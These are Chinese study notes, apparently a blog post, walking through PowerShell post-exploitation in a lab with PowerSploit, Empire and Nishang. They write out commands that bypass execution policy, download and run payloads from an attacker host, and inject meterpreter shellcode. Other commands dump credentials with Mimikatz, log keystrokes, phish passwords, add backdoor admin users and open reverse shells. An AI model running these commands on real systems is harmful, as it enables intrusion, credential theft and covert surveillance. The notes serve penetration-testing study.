文章目录
- 一:PowerShell简介
- 1.1:基本概念
- 1.2:执行策略与绕过
- 1.3:常用命令
- 二:PowerSploit
- 2.1:PowerSploit安装
- 2.2:PowerSploit攻击实战
- 2.2.1:直接shellcode反弹meterpreter shell
- 2.2.2:指定进程注入shellcode反弹meterpreter shell
- 2.2.3:invoke-dllinjection
- 2.2.4:invoke-portscan
- 2.2.5:invoke-mimikatz
- 2.2.6:get-keystrokes
- 2.3:PowerUp攻击模块
- 2.3.1:模块讲解(20个)
- 2.3.2:模块实战(未成功,待后续补充)
- 2.3.2.1:实战1
- 2.3.2.2:实战2
- 三:Empire(此章节实验未成功)
- 3.1:简介
- 3.2:安装
- 补充:empire踩过的坑(问题未解决)
- 3.3:设置监听
- 3.4:生成木马
- 3.4.1:DLL木马
- 3.4.2:launcher
- 3.4.3:launcher_var木马
- 3.4.4:launcher_bat木马
- 3.4.5:Macro木马
- 3.4.6:Ducky
- 3.5:连接主机及基本使用
- 3.6:信息收集
- 3.7:权限提升
- 3.8:横向渗透
- 3.9:后门
- 3.10:Empire反弹回Metasploit
- 四:Nishang
- 4.1:简介
- 4.1.1:nishang的导入
- 4.1.2:结构目录的了解
- 4.2:nishang模块攻击实战
- 4.2.1:Check-VM
- 4.2.2:Invoke-CredentialsPhish
- 4.2.3:Copy-VSS
- 4.2.4:FireBuster FireListener扫描器
- 4.2.5:Keylogger键盘记录
- 4.2.6:Invoke-Mimikatz
- 4.2.7:Get-PassHashes
- 4.2.8:获取用户的密码提示信息
- 4.3:PowerShell隐藏通信隧道
- 4.3.1:基于TCP协议的PowerShell交互式Shell
- 4.3.2:基于UDP协议的PowerShell交互式Shell
- 4.4:WebShell后门
- 4.5:权限提升
- 4.5.1:下载执行
- 4.5.2:Bypass UAC
- 4.5.3:删除补丁
- 4.5.4:其他功能
- 1、端口扫描(Invoke-PortScan)
- 2、爆破破解(Invoke-BruteForce)
- 3、嗅探
- 4、屏幕窃取
- 5、生成木马
- 6、后门
- 五:总结
参考书籍:web安全攻防:渗透测试实战指南
一:PowerShell简介
1.1:基本概念
什么是powershell?
可以简单理解为cmd.exe的扩展。
powershell具有灵活性和功能化管理windows系统的能力,powershell脚本文件后缀名是.ps1(数字1)
Windows PowerShell是一种命令行外壳程序和脚本环境,它内置在每个受支持的windows版本中,使命令行用户和脚本编写者可以利用.NET Framework的强大功能。一旦攻击者可以在一台计算机上运行代码,他们就会下载powershell脚本文件到磁盘中执行,甚至无需写入到磁盘,可以直接在内存中运行。
powershell需要.net环境支持,同时支持.net对象,其可读性,易用性位居所有shell之首。
特点:
1:windows7以上操作系统默认安装
2:powershell脚本可以运行在内存中,不需要写入磁盘
3:可以从另一个系统中下载powershell脚本并执行
4:目前很多工具都是基于powershell开发的
5:很多安全软件并不能检测到powershell的活动
6:cmd.exe通常会被阻止运行,但是powershell不会
7:可以用来管理活动目录
可以输入get-host查看powershell版本,也可以用$psversiontable.psversion
powershell脚本的运行和在Linux下执行shell一样,.\test.ps1
1.2:执行策略与绕过
执行策略:
为防止恶意脚本的执行,powershell有一个执行策略,默认情况下,这个执行策略被设为受限。
在powershell脚本无法执行时,可以使用以下cmdlet命令(后一小节有说明)确定当前的执行策略。
可以使用下面的cmdlet设置powershell的执行策略
命令 | 说明 |
---|---|
Restricted | 脚本不能运行(默认设置) |
RemoteSigned | 本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外) |
AllSigned | 仅当脚本由受信任的发布者签名时才能运行 |
Unrestricted | 允许所有的script运行 |
powershell执行策略的绕过
如果要运行powershell脚本程序,必须用管理员权限将Restricted策略改成Unrestricted,所以在渗透时就要采用一些方法绕过策略来执行脚本。
如下图:
1:绕过本地权限执行
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
2::本地隐藏绕过权限执行
powershell.exe -exec bypass -windowstyle hidden -nologo -noninteractive -noprofile -file xxx.ps1
-executionpolicy bypass(-exec bypass):绕过执行安全策略,默认情况下,powershell的安全策略规定powershell不能运行命令和文件,在渗透测试中,基本每一次都需要设置这个参数。
-windowstyle hidden(-w hidden):隐藏窗口
-noninteractive(-noni):非交互模式,powershell不为用户提供交互式的提示
-noprofile(-nop):powershell控制台不加载当前用户的配置文件
-noexit:执行后不退出shell。这个参数在使用键盘记录等脚本时非常重要。
-nologo:启动不显示版权标志的powershell
3:用IEX下载远程PS1脚本绕过权限执行
powershell.exe -exec bypass -windowstyle hidden -noprofile -noni IEX(new-objectnet.webclient).downloadstring("xxx.ps1");[parameters]
其中xxx.ps1为网络地址
1.3:常用命令
在powershell下,类似“cmd命令”叫做“cmdlet”,其命名规范相当一致,都采用“动词-名词”的形式。不区分大小写,一般兼容windows command和linux shell
这里是我在微软官方找到的New-Item
的文档说明,链接:点击
说明 | 命令 |
---|---|
在当前目录中创建文件 | New-Item -Path . -Name "testfile1.txt" -ItemType "file" -Value "This is a text string." |
创建目录 | New-Item -Path "c:\" -Name "logfiles" -ItemType "directory" |
在不同的目录中创建目录 | New-Item -ItemType "directory" -Path "c:\ps-test\scripts" |
创建多个文件 | New-Item -ItemType "file" -Path "c:\ps-test\test.txt", "c:\ps-test\Logs\test.log" |
显示文本内容 | Get-Content test.txt |
设置文本内容(不存在test.txt则创建) | Set-Content test.txt -Value "hello" |
追加文本内容(换行追加) | Add-Content test.txt -Value 'world" |
清除文本内容(只是清除内容,会保留一个空文件) | Clear-Content test.txt |
二:PowerSploit
powersploit是一款基于powershell的后渗透框架软件,包含很多powershell攻击脚本,主要用于渗透中的信息侦查,权限提升,权限维持。
2.1:PowerSploit安装
通过kali下载powersploit
git clone https://github.com/PowerShellMafia/PowerSploit
无法连接到github的读者,我这里给出了压缩包:点我下载(访问密码:BHL9Ue)
下载解压之后,把整个文件夹放在kali的/var/www/html
目录下即可,如下图:
然后kali开启apache服务 service apache2 start
,再网页打开,如下图:
2.2:PowerSploit攻击实战
攻击机器:kali,ip:192.168.1.1
目标机器:win10,ip:192.168.10
powersploit下的各类攻击脚本很多,下面以CodeExecution模块下的Invoke-Shellcode脚本为例。
2.2.1:直接shellcode反弹meterpreter shell
步骤:
1:msfconsole(启动msf)
2:use exploit/multi/handler
3:set payload windows/meterpreter/reverse_https(如果是64位的,路径:set payload windows/x64/meterpreter/reverse_https)
4:show options(查看选项,设置ip等信息)
5:exploit
使用msfvenom命令生成一个powershell脚本木马,
msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.1.1 lport=8443 -f powershell -o /var/www/html/test
然后在目标机win10上面,用IEX命令下载该脚本,再下载该木马,然后运行。
iex (new-object net.webclient).downloadstring("http://192.168.1.1/PowerSploit-master/CodeExecution/Invoke-Shellcode.ps1")
iex (new-object net.webclient).downloadstring("http://192.168.1.1/test")
Invoke-Shellcode -Shellcode ($buf) -Force
$buf代表的是生成的木马的内容,后面还有很长的0x内容
然后返回到msf监听界面,发现已经成功反弹了。输入shell,即可进入目标主机管理员命令行
2.2.2:指定进程注入shellcode反弹meterpreter shell
同样步骤:
1:msfconsole(启动msf)
2:use exploit/multi/handler
3:set payload windows/meterpreter/reverse_https(如果是64位的,路径:set payload windows/x64/meterpreter/reverse_https)
4:show options(查看选项,设置ip等信息)
5:exploit
也同样在目标机powershell下先输入以下命令:
iex (new-object net.webclient).downloadstring("http://192.168.1.1/PowerSploit-master/CodeExecution/Invoke-Shellcode.ps1")
iex (new-object net.webclient).downloadstring("http://192.168.1.1/test")
通过PS查看当前有哪些进程
然后创建一个隐藏的进程,比如创建一个隐藏的notepad.exe,再通过ps查看,发现多了个notepad.exe进程
start-process c:\windows\system32\notepad.exe -windowstyle hidden
ps
接着使用invoke-shellcode脚本进行进程注入。回到msf监听界面发现反弹成功。
invoke-shellcode -processid 2928 -shellcode($buf) -force
2.2.3:invoke-dllinjection
invoke-dllinjection是code execution模块下的另一个脚本,是一个dll注入的脚本
目标机:
iex (new-object net.webclient).downloadstring("http://192.168.1.1/PowerSploit-master/CodeExecution/Invoke-DllInjection.ps1")
kali:
msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.1.1 lport=8443 -f dll -o /var/www/html/test.dll
把test.dll通过如下指令上传到目标服务器的C盘(C盘路径要正确,要不然报错 使用“2”个参数调用“DownloadFile”时发生异常:“在 WebClient 请求期间发生异常。”
)
(New-Object System.Net.WebClient).DownloadFile("http://192.168.1.1/test.dll","c:\test.dll")
然后启动一个新的隐藏进程进行DLL注入
PS C:\Users\Administrator> iex (new-object net.webclient).downloadstring("http://192.168.1.1/PowerSploit-master/CodeExecution/Invoke-DllInjection.ps1")
PS C:\Users\Administrator> start-process c:\windows\system32\notepad.exe -windowstyle hidden
PS C:\Users\Administrator> ps 通过ps查看进程号
PS C:\Users\Administrator> invoke-dllinjection -processid 912 -dll c:\test.dll 这个912是刚才新建的隐藏进程notepad.exe的进程号
2.2.4:invoke-portscan
这是Recon模块下的一个脚本,主要用于端口扫描。很简单,两条指令。
iex (new-object net.webclient).downloadstring("http://192.168.1.1/PowerSploit-master/Recon/Invoke-Portscan.ps1")
invoke-portscan -hosts 192.168.1.7,192.168.1.10 -ports "80,22,3389,23,445"
2.2.5:invoke-mimikatz
这是Exfiltration模块下的一个脚本,和mimikatz工具一样,用于hash密码抓取
iex (new-object net.webclient).downloadstring("http://192.168.1.1/PowerSploit-master/Exfiltration/Invoke-Mimikatz.ps1")
invoke-mimikatz -dumpcreds
2.2.6:get-keystrokes
这是Exfiltration模块下的一个脚本,用于键盘记录,功能相当强大,不仅有键盘输入记录,甚至能记录鼠标的点击情况,还能记录详细的时间,实战时可以直接放入后台运行。
PS C:\Users\Administrator> iex (new-object net.webclient).downloadstring("http://192.168.1.1/PowerSploit-master/Exfiltration/Get-Keystrokes.ps1")
PS C:\Users\Administrator> get-keystrokes -logpath c:\test.txt
PS C:\Users\Administrator> fafdsfdsfdsfdsdsdfasfssafas
2.3:PowerUp攻击模块
2.3.1:模块讲解(20个)
powerup是privesc模块下的一个脚本,功能相当强大,拥有众多用来寻找目标主机windows服务漏洞进行提权的实用脚本。
下载脚本到本机上,输入get-help [cmdlet] -full命令查看帮助,如下:
PS C:\Users\Administrator> iex (new-object net.webclient).downloadstring("http://192.168.1.1/PowerSploit-master/Privesc/PowerUp.ps1")
PS C:\Users\Administrator> get-help invoke-allchecks -full
1:invoke-AllChecks
该模块会自动执行PowerUp下所有的脚本来检查目标主机。
2:Find-PathDLLHijack
该模块用于检查当前%PATH%的哪些目录是用户可以写入的
3:Get-ApplicationHost
该模块可利用系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码
PS C:\Users\Administrator> Get-ApplicationHost
PS C:\Users\Administrator> Get-ApplicationHost | Format-Table -AutoSize # 列表显示
4:Get-RegistryAlwaysInstallElevated
该模块用于检查AlwaysInstallElevated注册表项是否被设置,如果被设置,意味着MSI文件是以system权限运行的。
Get-RegistryAlwaysInstallElevated
补充一下:
什么是MSI文件?
MSI文件是Windows Installer的数据包,它实际上是一个数据库,包含安装一种产品所需要的信息和在很多安装情形下安装(和卸载)程序所需的指令和数据。MSI文件将程序的组成文件与功能关联起来。此外,它还包含有关安装过程本身的信息。如目标文件夹路径、系统依赖项、安装选项和控制安装过程的属性。
5:Get-RegistryAutoLogon
该模块用于检测Winlogin注册表的AutoAdminLogon项有没有被设置,可查询默认的用户名和密码
6:Get-ServiceDetail
该模块用于返回某服务的信息
7:Get-ServiceFilePermission
该模块用于检查当前用户能够在哪些服务的目录写入相关联的可执行文件,我们可通过这些文件实现提权。
不知道为啥报错,下面是我在网页找到的截图.
8:Test-ServiceDaclPermission
该模块用于检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则返回该服务对象。
9:Get-ServiceUnquoted
该模块用于检查服务路径,返回包含空格但是不带引号的服务路径。
此处利用了windows的一个逻辑漏洞,即当文件包含空格时,windows api 会被解释为两个路径,并将这两个文件同时执行,有是可能会造成权限的提升,比如C:\program files\hello.exe
会被解释为C:\program.exe
和C:\program files\hello.exe
,然而报错了。。(23333)有大佬知道解决方案吗?
下面这是我在书上拍的图片:
10:Get-UnattendedInstallFile
该模块用于检查以下路径,查找是否存在这些文件,因为这些文件里面可能包含部署凭据。
c:\sysprep\sysprep.xml
c:\sysprep\sysprep.inf
c:\windows\panther\unattended.xml
c:\windows\panther\unattend\unattended.xml
c:\windows\panther\unattend.xml
c:\windows\panther\unattend\unattend.xml
c:\windows\system32\sysprep\unattend.xml
c:\windows\system32\sysprep\panther\unattend.xml
11:Get-ModifiableRegistryAutoRun
该模块用于检查开机自启的应用程序路径和注册表键值,然后返回当前用户可修改的程序路径。
被检查的注册表键值有以下这些:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService
12:Get-ModifiableScheduledTaskFile
该模块用于返回当前用户能够修改的计划任务程序的名称和路径,输入以下命令即可执行该模块。
13:Get-Webconfig
该模块用于返回当前服务器上web.config文件中的数据库连接字符串的明文,输入以下命令即可执行该模块
14:Invoke-ServiceAbuse
该模块通过修改服务来添加用户到指定组,并可以通过设置-cmd参数触发添加用户的自定义命令。
PS C:\Windows\system32> Invoke-ServiceAbuse -ServiceName VulnSVC #添加默认账号
PS C:\Windows\system32> Invoke-ServiceAbuse -ServiceName VulnSVC -USerName "TESTLAB\john" #指定添加的域账号
PS C:\Windows\system32> Invoke-ServiceAbuse -ServiceName VulnSVC -USerName backdoor -Password password -LocalGroup "Administrators" #指定添加用户,用户密码以及添加的用户组
PS C:\Windows\system32> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net......" #自定义执行命令
15:Restore-ServiceBinary
该模块用于恢复服务的可执行文件到原始目录,执行该模块的命令如下所示:
PS C:\> Restore-ServiceBinary -ServiceName VulnSVC
16:Test-ServiceDaclPermission
该模块用于检查某个用户是否在服务中有自由访问控制的权限,结果会返回true或false
Test-ServiceDaclPermission -ServiceName VulnSVC
17:Write-HijackDll
该模块用于输出一个自定义命令并且能够自我删除的bat文件$env:Temp\debug.bat
,并输出一个能够启动这个bat文件的DLL。
由2.2.3章节在C盘目录下已有一个test.dll文件了。这时候我们可以把test.dll复制一份,命名为test2.dll,如下图:
然后运行如下命令,就会在该目录下生成一个debug.bat的文件。
Write-HijackDll -DllPath "c:\temp\test2.dll" -Command "whoami"
双击运行bat即可,
18:Write-UserAddMSI
该模块用于生成一个安装文件,运行这个安装文件后会弹出添加用户的对话框,输入以下命令即可执行该模块
19:Write-ServiceBinary
该模块用于预编译C#服务的可执行文件,默认创建一个管理员账号,可通过command定制自己的命令,执行该模块的命令如下所示。
PS C:\Windows\system32> Write-ServiceBinary -ServiceName VulnSVC #添加默认账号
PS C:\Windows\system32> Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john" #指定添加的域账号
PS C:\Windows\system32> Write-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password password123! -LocalGroup "Administrators" #指定添加用户,用户密码以及添加的用户组
PS C:\Windows\system32> Write-ServiceBinary -ServiceName VulnSVC -Command "net......" #自定义执行命令
20:Install-ServiceBinary
该模块通过Write-ServiceBinary写一个C#的服务用来添加用户,执行该模块的命令如下所示。
PS C:\Windows\system32> Install-ServiceBinary -ServiceName DHCP
PS C:\Windows\system32> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john"
PS C:\Windows\system32> Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password password123!
PS C:\Windows\system32> Install-ServiceBinary -ServiceName VulnSVC -Command "net......"
2.3.2:模块实战(未成功,待后续补充)
2.3.2.1:实战1
这次实战用到Invoke-AllChecks、Install-ServiceBinary、Get-ServiceUnquoted、Test-ServiceDaclPermission、Restore-ServiceBinary
这几个模块。
环境准备:
kali:192.168.152.130
win10:192.168.152.128
1:msfconsole(启动msf)
2:use exploit/multi/handler
3:set payload windows/meterpreter/reverse_https(如果是64位的,路径:set payload windows/x64/meterpreter/reverse_https)
4:show options(查看选项,设置ip等信息)
5:set lhost 192.168.152.130
6:exploit
再打开另一个cmd窗口,利用msfvenom生成木马
msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.152.130 lport=8443 -f powershell -o /var/www/html/test
然后在目标机win10上面关闭win10的实时保护,用IEX命令下载该脚本,再下载该木马,然后运行。
iex (new-object net.webclient).downloadstring("http://192.168.152.130/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")
iex (new-object net.webclient).downloadstring("http://192.168.152.130/test")
Invoke-Shellcode -Shellcode ($buf) -Force
返回到kali上,发现已开启监听了
在kali上先加载powerup脚本,然后执行Invoke-ALLChecks,脚本将进行所有的检查。
将powerup脚本上传到目标服务器,再从本地执行该脚本。
getuid
upload /root/PowerSploit/Privesc/PowerUp.ps1 c:\
使用IEX在内存中加载此脚本,执行以下命令,脚本将进行所有的检查
powershell.exe -exec bypass -c "iex (new-object net.webclient).downloadstring('c:\PowerUp.ps1'); invoke-allchecks"
这里我没有试验成功。出现如下画面(不知道为啥,我又试了win7,win2008均是powershell未响应):
我这里给出了一篇网上关于这部分的文章链接:🔗点我
但是书本上有实战成功,如下截图。
按照书上的说明:powerup列出了所有可能存在问题的服务,并在AbuseFunction中直接给出了利用方式。
这里可以分为两部分:
第一部分通过Get-ServiceUnquoted模块(利用windows的一个逻辑漏洞,即当文件包含空格时,Windows API会解释为两个路径,并将这两个文件同时执行,有些时候可能会造成权限的提升)检测出“OmniServ”,“OmniServer”,“OmniServers”,“Vulnerable Service”四个服务存在此逻辑漏洞,但都没有写入权限,所以并不能被利用与提权。
第二部分通过Test- ServiceDaclPermission模块(检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可以修改,则存在此漏洞)检测出当前用户可以在“OmniServers”服务的目录写入相关联的可执行文件,并且通过这些文件进行提权。
漏洞利用原理:Windows 系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。比如,JAVA 升级程序,每次重启系统时,JAVA 升级程序会检测 Oracle 网站,是否有新版 JAVA 程序。而类似 JAVA 程序之类的系统服务程序加载时往往都是运行在系统权限上的。所以如果一个低权限的用户对于此类系统服务调用的可执行文件具有可写的权限,那么就可以将其替换成我们的恶意可执行文件,从而随着系统启动服务而获得系统权限。
2.3.2.2:实战2
这里用到了Get-RegistryAlwaysInstallElevated 和 Write-UserAddMSI 这两个模块,用前者模块来检查注册表项是否被设置,如果AlwaysInstallElevated注册表项被设置,意味着MSI文件是以SYSTEM权限运行的。执行该模块的命令如下,True表示已经设置。
依旧没有成功,终究是太菜了 唉。。。各种报错。
接下来是书面的截图
三:Empire(此章节实验未成功)
3.1:简介
empire是一款针对windows平台的,使用powershell脚本作为攻击载荷的渗透攻击框架工具,具有从stager生成,提权到渗透维持的一系列功能。Empire实现了无需powershell.exe就可以运行PowerShell代理的功能,还可以快速在后期部署漏洞利用模块,其内置模块有键盘记录,Mimikatz,绕过UAC,内网扫描等,并且能够躲避网络检测和大部分安全防护工具的查杀,简单来说有点类似于Metasploit,是一个基于PowerShell的远程控制木马。
3.2:安装
empire运行在Linux平台,这里使用的系统是Debian,首先使用git命令下载程序目录。
git clone https://github.com/EmpireProject/Empire.git
接着进入setup目录,使用以下命令安装empire
cd Empire
cd setup
./install.sh
吐槽一句:时长是真的感人啊…
接下来让你输入一个密码,
然后安装成功。
安装结束之后,在Empire目录下输入./empire
安装成功。可以直接跳到3.3章节:设置监听
补充:empire踩过的坑(问题未解决)
安装结束之后,在Empire目录下输入./empire
,好家伙,直接报错少文件,
从报错信息来看这是一个python文件,vim打开如下,
既然缺少那就直接安装,pip install flask
依然报错,发现连pip都没有,那就只能先下载pip模块。apt install python3-pip
还报错!!!从最后一句可以看出,要我们尝试用apt-get update
来试试,好的,那。。。试试就逝世~~
依旧报错,从图中红框通过谷歌翻译可以看出,以下签名无效。
解决方案:
wget archive.kali.org/archive-key.asc
apt-key add archive-key.asc
然后:
apt-get update
apt install python3-pip
没啥问题,终于可以用pip
命令了。
卧槽,你现在告诉我,这个包其实已经有了。。。日了狗了。。。啊啊啊啊啊啊啊啊啊~~
cd /usr/lib/python3/dist-packages]
cp -rf flask /tmp/Empire
然后文件复制过去之后,
cd /tmp/Empire
./empire
又又又报错,vim打开vim /tmp/Empire/flask/__init__.py
,注释掉14行15行
发现不行,后续还会报其他错误,这里就不贴图了,反正人麻了。。。
找到另一个方法,指定安装路径
pip install --target=/tmp/Empire flask
修改源:vim /etc/apt/sources.list
官方源
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb-src http://http.kali.org/kali kali-rolling main non-free contrib
中科大源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
阿里云源
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
清华大学源
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
浙大源
deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
东软大学源
deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
新加坡kali源
deb http://mirror.nus.edu.sg/kali/kali/ kali main non-free contrib
deb-src http://mirror.nus.edu.sg/kali/kali/ kali main non-free contrib
163 Kali源
deb http://mirrors.163.com/debian wheezy main non-free contrib
deb-src http://mirrors.163.com/debian wheezy main non-free contrib
换源安装flask成功
其实上面的安装方法都不是很对,empire是基于python2的,而我上面使用Python3的环境,从而导致很多的py文件运行时报错,后来发现根本修改不过来,也尝试过用python2转Python3的方法(如下)。
终端输入以下两条命令:
update-alternatives --install /usr/bin/python python /usr/bin/python2 100
update-alternatives --install /usr/bin/python python /usr/bin/python3 150
终端查询此时的版本,发现切换为python3.5.3(150比100优先级高)
依旧不行,反正各种报错吧。后来改用Python2环境重新下载安装了empire,也是缺各种安装包,并且安装了也会提示你没有安装。看不懂,,,
所以就一直卡在这里了。
3.3:设置监听
此章节及后续章节所有图片均是书上拍照所得。。。安装不了没法实验,待后续补充吧。。唉
运行Empire后,输入help命令查看具体的使用帮助。
empire的使用原理和metasploit的使用原理是一样的,都是先设置一个监听,再生成一个木马,然后在目标主机中运行该木马,我们的监听就会连接上反弹回来的代理。
输入Listeners
命令进入监听线程界面,接着输入uselistener
来设置采用何种模式,可以看到有如下 7 种模式
我们这里采用http监听模式,输入uselistener http
,然后输入info命令查看具体参数设置
这里可以使用set命令设置相应参数,需要使用以下命令设置Name、Host、Port
Set Name shuteer
Set Host xxx.xxx.xxx.xxx:xxxx(Empire所在服务器的IP)
这里Host默认的是我们VPN的IP,所以不做修改。修改完成后可以再次输入info
查看设置是否正确,然后输入execute
命令即可开始监听。
输入back
命令即可返回上一层listeners界面,输入list
命令可以列出当前激活的listener
使用kill
命令就能删除该监听,如下图:
这里需要注意一点,当开启多个监听时,必须使用不同的名称,并且使用不同的端口,如果想要设置的端口已经被使用,那么在设置时会有提示信息。
3.4:生成木马
设置完监听,接着就要生成木马然后在目标机器上运行。可以把这个理解成Metasploit里面的Payload。
输入usestager
来设置采用何种模块,其中multi为通用模块,osx是Mac操作系统的模块,剩下的就是Windows的模块。
3.4.1:DLL木马
想要设置DLL木马,首先输入usestager windows/dll
的命令,然后输入info命令查看详细参数。
设置一下Listener
,然后执行execute
命令,就会在tmp目录下生成名为launcher.dll
的木马,launcher.dll
在目标主机上运行后,就会成功上线。
set Listener
execute
3.4.2:launcher
后续内容先跳过吧。有个链接可以参考下:https://blog.csdn.net/fageweiketang/article/details/88020020
3.4.3:launcher_var木马
3.4.4:launcher_bat木马
3.4.5:Macro木马
3.4.6:Ducky
3.5:连接主机及基本使用
3.6:信息收集
3.7:权限提升
3.8:横向渗透
3.9:后门
3.10:Empire反弹回Metasploit
四:Nishang
4.1:简介
Nishang是一款针对PowerShell的渗透工具。它基于PowerShell的渗透测试专用工具,集成了框架、脚本、和各种payload,包括了下载和执行、键盘记录、DNS、延时命令等脚本。
下载地址:https://github.com/samratashok/nishang
4.1.1:nishang的导入
Nishang要在PowerShell 3.0以上的环境中才可以正常使用,也就是说在Windows7下默认是有点小问题的,可通过get-host
查看版本。
先关掉win10的实时保护
get-host
cd E:\nishang-master\
Import-Module .\nishang.psm1
导入模块后可以查看nishang都有哪些模块,如下图
从上图中可以看到nishang的所有命令都被列出来了,get-information
命令可以查看结果,后面还有很长的内容,忽略下图中的报错
我们可以在powershell中使用Out-File将执行结果导出到文件中,
Get-Information | Out-File res.txt
4.1.2:结构目录的了解
在实际渗透过程中,肯定不能把整个nishang的目录复制到服务器上,所以在远程下载一个脚本的时候,了解目录结构对寻找文件是很有帮助的。
如下图:
模块 | 功能 |
---|---|
Antak-WebShell | WebShell |
Backdoors | 后门 |
Client | 客户端 |
Escalation | 提权 |
Execution | 远程代码执行(RCE) |
Gather | 信息收集 |
Misc | 杂项 |
Pivot | 跳板、远程执行EXE |
Scan | 扫描 |
powerpreter | Meterpreter会话 |
4.2:nishang模块攻击实战
4.2.1:Check-VM
该脚本用于检测当前的机器是否属于一台已知的虚拟机。它通过检测已知的一些虚拟机的指纹信息(如Hyper-V、VMware、Virtual PC、Virtual Box、Xen、QEMU)来识别。
这里书上和网上各种资源,并没有说这个东西具体在哪里,让我一顿好找
其实,check-vm.ps1
从字面上看是检测一些虚拟机信息,那我估计在信息收集gather文件夹中,所以我们需要切换到当前路径下。红框中的内容是错误的(忽略掉),只需要输入Check-VM
即可
补充: 通过查看check-vm.ps1得到只需要输入Check-VM
即可
4.2.2:Invoke-CredentialsPhish
这个脚本的作用是欺骗目标主机的用户,让用户输入密码,在实际使用中读者可以充分发挥想象力来灵活运用
该脚本的功能很强大,因为不输入正确的密码就关闭不了对话框,只能强制结束进程,这里就能得到明文的管理员账号密码。
这里我输入正确的账号密码之后,第一次卡住了,需要在命令行敲一下回车才可以显示出来,但是第二次就不需要了,可以直接显示出来。不知道是不是我这六七年前的电脑太卡了~~ 哈哈
4.2.3:Copy-VSS
这个脚本利用Volume Shadow Copy复制sam文件,如果这个脚本运行在了DC机上,ntds.dit和SYSTEM hive也能被拷贝出来。
直接在gather目录下运行Copy-VSS
即可
也可以指定路径进行保存,前提是路径必须存在。
4.2.4:FireBuster FireListener扫描器
用于对内网进行扫描,打开本地监听(端口),然后远程传送数据,把包发给FireListener。
FireListener 130-150
FireBuster 192.168.152.132 130-150 -Verbose
4.2.5:Keylogger键盘记录
先看帮助文档,输入命令GET-HELp .\Keylogger.ps1 -full
分别的意思是:
1、使用这种方式运行,键盘记录会被保存在当前用户Temp目录下(C:\Users\outcast\AppData\Local\Temp)的key文件中。
2、-CheckURL参数会检查所给出的网页之中是否包含 -MagicString后的字符串,如果存在就停止使用记录
3、将记录指定发送给一个可以记录Post请求的Web服务器。
4、实现持久化记录(重启后依然进行记录)
下面说说第一种方法,使用parse_keys
来解析,parsed.txt里面就会出现解析后的按键记录
然后把key.log拷贝到gather目录中,Parse_Keys .\key.log .\parsed.txt
4.2.6:Invoke-Mimikatz
利用Mimikatz抓取密码
invoke-mimikatz -dumpcerts # dump出本机的凭证信息
invoke-mimikatz -dumpcreds -computername @("computer1", "computer2") # dump出远程的两台计算机的凭证信息
invoke-mimikatz -command "privilege::debug exit" -computername "computer1" # 在远程的一台机器上运行mimikatz并执行"privilege::debug exit"
4.2.7:Get-PassHashes
这个脚本在administrator的权限下可以dump出密码哈希值,来源于metasploit中的power dump模块,但在其基础上做出了修改,使得不再需要system权限就可以dump了
4.2.8:获取用户的密码提示信息
这个脚本可以从windows获取用户密码的提示信息,需要有administrator的权限来读取sam hive。可以根据提示生成密码字典,能大大提高爆破的成功率。甚至有一些人会将明文密码记录在这个提示信息中。
get-passhints
4.3:PowerShell隐藏通信隧道
4.3.1:基于TCP协议的PowerShell交互式Shell
Invoke-PowerShellTcp
是基于TCP协议的PowerShell正向连接或反向连接Shell,该模块的具体参数介绍如下所示。
IPAddress<string> # 选择-Reverse选项时表示需要连接的IP地址
Port(Int32) # 选择-Reverse选项时表示需要连接的端口,选择-Bind选项时表示需要监听的端口
Reverse [<SwitchParameter>] # 反向连接
Bind [<SwitchParameter>] # 正向连接
1、反向连接
使用NC监听本地端口3333
在目标机器win10(192.168.1.10)上,Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.1 -Port 3333
kali显示连接成功。
2、正向连接
在目标机win10(192.168.152.132)PowerShell下执行以下脚本命令,监听3333端口。
Invoke-PowerShellTcp -Bind -port 3333
在kali上,nc -nv 192.168.152.132 3333
那么何时选用反向连接,何时选用正向连接呢?
目标在内网,你在外网,反向连接
目标在外网,你在内网,正向连接
4.3.2:基于UDP协议的PowerShell交互式Shell
Invoke-PowerShellUdp
是基于UDP协议的PowerShell正向连接或反向连接Shell
这里使用方法和tcp相同,由于基于UDP协议,所以nc的命令有所不同。
正向连接命令:nc -nvu ip port
反向连接命令:nc -lup port
书上有个网址推荐,https://www.explainshell.com/ 这个网址 读者可以使用它查看包括Windows和Linux在内的各种命令解析。个人吐槽不如百度,哈哈,英文解释英文看不懂呀
